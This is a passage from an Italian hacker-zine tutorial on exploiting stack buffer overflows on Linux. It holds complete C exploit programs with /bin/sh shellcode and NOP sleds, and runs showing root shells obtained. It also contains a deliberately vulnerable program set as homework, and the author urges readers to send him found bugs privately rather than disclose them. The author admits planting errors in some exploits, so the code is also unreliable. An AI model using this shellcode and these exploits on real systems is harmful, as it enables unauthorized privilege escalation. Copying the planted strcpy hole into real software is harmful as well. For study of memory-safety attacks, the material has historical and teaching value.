0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; /* riempie il nostro buffer con quell'indirizzo */ for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */ buff[bsize - 1] = '\0'; /* per bloccare la copia da parte di strcpy */ memcpy(buff,"EGG=",4); /* mette il tutto in una variabile d'ambiente $EGG */ putenv(buff); /* che useremo poi come argomento al programma */ system("/bin/bash"); /* vulnerabile */ } ---------- snip ---------- Questo programma sembra piu' complicato di quanto non sia effettivamente. Innanzitutto il programma riceve in input una grandezza del buffer (in genere 100 o 150 byte in piu' del buffer che stiamo cercando di OVERFLOWare (D'OH!) vanno piu' che bene) e anche un offset, che poi sarebbe il numero che dobbiamo indovinare... Vediamo che succede... $ ./exploit2 500 Using address: 0xbffffdb4 $ ./vulnerable $EGG Segmentation Fault ( D'OH!!!) $ ./exploit2 600 Using address: 0xbffffdb4 $ ./vulnerable $EGG Illegal instruction ( D'OH!!!) ........................ [circa 2000 "D'OH!!!" dopo...] ........................ $ ./exploit2 600 1564 Using address: 0xbffff794 $ ./vulnerable $EGG # ( WOHOOOO! ) Questo non e' un processo molto efficiente....sculando un po' si potrebbe azzeccare l'offset con 200 tentativi, ma nella maggior parte dei casi ce ne vorranno un migliaio. Non vale la pena direi, specialmente quando l'exploit, anziche' darti un errore e restituirti il prompt, ti incasina lo schermo e sei costretto a ricollegarti alla shell... 1000 entries nel wtmp non sono belle anche per il piu' coglione degli admin :) E allora come cazzo si fa? Fortunatamente esiste in ogni architettura una istruzione "NOP". "Che fa questa istruzione fantastica??" vi sento chiedere.. "Un cazzo!" vi rispondo io, ma non e' per maleducazione. E' proprio che non fa un cazzo! Se il processore la incontra passa semplicemente all'istruzione successiva. QUINDI... se noi imbottissimo l'inizio del nostro buffer con un bel pacco di NOP, amplieremmo (di molto) il "range" degli indirizzi di ritorno possibili (che prima erano... UNO!). Se infatti l'indirizzo di ritorno va a cadere su uno di questi nop, il processore continuera' ad eseguirli finche' non arrivera' al nostro shellcode! graficamente... buffer fp ret a b c [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^----> | |_____________________| Ecco un nuovo exploit che utilizza questa tecnica: exploit3.c ---------- snip ---------- #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } oid main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) /* riempie meta' del nostro buffer con NOP */ buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* e l'altra meta' con lo shellcode... */ buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ---------- snip ---------- ------------------------------------------------------------------------------ $ ./exploit3 612 Using address: 0xbffffdb4 $ ./vulnerable $EGG # ------------------------------------------------------------------------------ Al primo tentativo! Un netto miglioramento direi... - IO CE L'HO PICCOLO... IL BUFFER, NATURALMENTE - Ci sono casi in cui il buffer che tentiamo di...ehm....uhm...OVERFLOWare (ehehehe) e' cosi' piccolo che O il nostro shellcode non c'entra, O il numero di NOP che possiamo mettere e' cosi' piccolo che le probabilita' di azzeccarci sono pressoche' ridicole. Anche in questo caso, una soluzione c'e', ma bisogna avere accesso alle variabili d'ambiente del programma. Metteremo lo shellcode in una di queste variabili, e riempiremo il piccolo buffer con l'indirizzo (presunto) di questa variabile in memoria. Questa tecnica e' molto efficiente, poiche' possiamo usare anche variabili molto grandi (leggi: un grosso numero di NOP), che aumentano esponenzialmnte le nostre possibilita'. Le variabili d'ambiente sono poste in cima allo stack quando il programma e' lanciato (vedi diagramma all'inizio). Il nostro programma di exploit richiedera' quindi un'altra variabile, la grandezza del buffer che contiene shellcode e NOP). exploit4.c ---------- snip ---------- #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); /* variabile d'ambiente con i NOP e lo shellcode */ putenv(egg); memcpy(buff,"RET=",4); /* variabile d'ambiente che contiene il RET */ putenv(buff); system("/bin/bash"); } ---------- snip ---------- ------------------------------------------------------------------------------ $ ./exploit4 768 Using address: 0xbffffdb0 $ ./vulnerable $RET # ------------------------------------------------------------------------------ CVD... ancora piu' efficace di prima :) Gli offset possono essere positivi o negativi.. dipende da quanti "dati d'ambiente" il nostro programma ha rispetto a quello vulnerabile. - TROVARE BUFFER OVERFLOW - Prendete i sorgenti. Essedo Linux free, troverete i sorgenti di qualsiasi cosa, basta cercare un po'. E una volta trovati i sorgenti, cercate chiamate alle funzioni strcat(), strcpy(), sprintf(), and vsprintf(), che basandosi su stringhe terminate da ZERO, non controllano che il buffer che le riceve sia abbastanza grande da contenerle. Controllate se il programma fa qualche tipo di "sanity check" prima di copiare, e controllate se l'argomento che viene copiato puo' in qualche modo essere inserito dall'utente, attraverso la linea di comando ad esempio, o attraverso una variabile d'ambiente (vedi exploit per DOSEMU). Se trovate qualcosa non postate a Bugtraq per fare i fighetti... ditelo a me :) - I COMPITI PER CASA (IHIHIHIHIHI) - Vi lascio questo programmino scritto da me (non che me ne vanti per carita', fa cagare :) ESSO contiene un buffer overflow. Non vi dico dove, perche' se avete seguito fino a qui dovreste scoprirlo da soli. Il primo che mi manda un exploit per questo programma partecipera' all'estrazione di una bambola gonfiabile bucata (usata). ---------- snip ---------- /************************************************************************ fuckdups.c Genera una lista di host a partire dall'output del comando "host -l", eliminando le eventuali ripetizioni scassacazzo. Per gli "script kiddies" la' fuori... $ host -l stoca.it >> in $ ./fuckdups -I in -O out La compilazione e' COSI' COMPLICATA che stavo pensando di inserire un Makefile :) Dovrebbe compilarsi su qualsiasi oggetto che abbia la forma di un computer...Il programma contiene VOLUTAMENTE un buffer overflow. A meno che non siate cosi' coglioni da rendere questo proggie suidROOT, questo non dovrebbe costituire un grosso problema per la sicurezza del vostro sistema :) $ gcc -Wall -o fuckdups fuckdups.c by Sircondor [B4dL4nd5] ***********************************************************************/ #include <stdio.h> #include <string.h> #include <getopt.h> void usage(char *name) { printf("USAGE: %s -I [input file] -O [nice file]\n",name); } int check(char *filename,char *host) { FILE *s; char temp[100]; register int a; s = fopen(filename,"r"); while (fgets(temp,100,s)) { for (a=0;a<=strlen(temp);a++) if ((temp[a]=='\n')||(temp[a]=='\r')) temp[a]=0; if (!strcmp(host,temp)) { fclose(s); return(-1); } } fclose(s); return(0); /* not found */ } void append(char *filename, char *host) { FILE *s; s = fopen(filename,"a"); fprintf(s,"%s\n",host); fclose(s); } main(int argc, char *argv[]) { char input[200],output[200]; /* static buffers = good targets :) */ char srv[100], *last; FILE *f; FILE *k; register int a,cnt; if (argc < 5) { usage(argv[0]); exit(0); } while ((cnt = getopt(argc,argv,"I:O:")) != EOF) { switch(cnt){ case 'I': strcpy(input,optarg); break; case 'O': strncpy(output,optarg,199); output[199] = 0; break; default: usage(argv[0]); exit(0); } } if ((f=fopen(input,"r")) == NULL) { perror(input); exit(0); } k= fopen(output,"w"); fclose (k); /* my version of touch :) */ while (fgets(srv,100,f)) { for (a=0;a<=strlen(srv);a++) if ((srv[a]=='\n')||(srv[a]=='\r')) srv[a]=0; last=strrchr(srv,' '); if (last == NULL) continue; if (!check(output,last+1)) append(output,last+1); } } ---------- snip ---------- - THE END - Ok, spero di essere stato abbastanza chiaro. Se avete domande da fare potete scrivere all'indirizzo di BFi o direttamente a me... la mia mail e' valeriom@tiscalinet.it. Non mi chiedete perche' gli exploit non vi funzionano, perche' 1) Mi fate girare le palle 2) molti ultimi exploit hanno qualche errore nel codice inserito volutamente (si chiama "l'ANTI SCRIPT KIDDIE") (in pratica vi ho risposto qui...). Se ho detto qualche cazzata non me ne assumo la responsabilita', anche perche' ho entrambi i neuroni occupati dall'esame di analisi... BYEZ GENTE. SirCondor (valerio_ su ircnet/undernet) --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================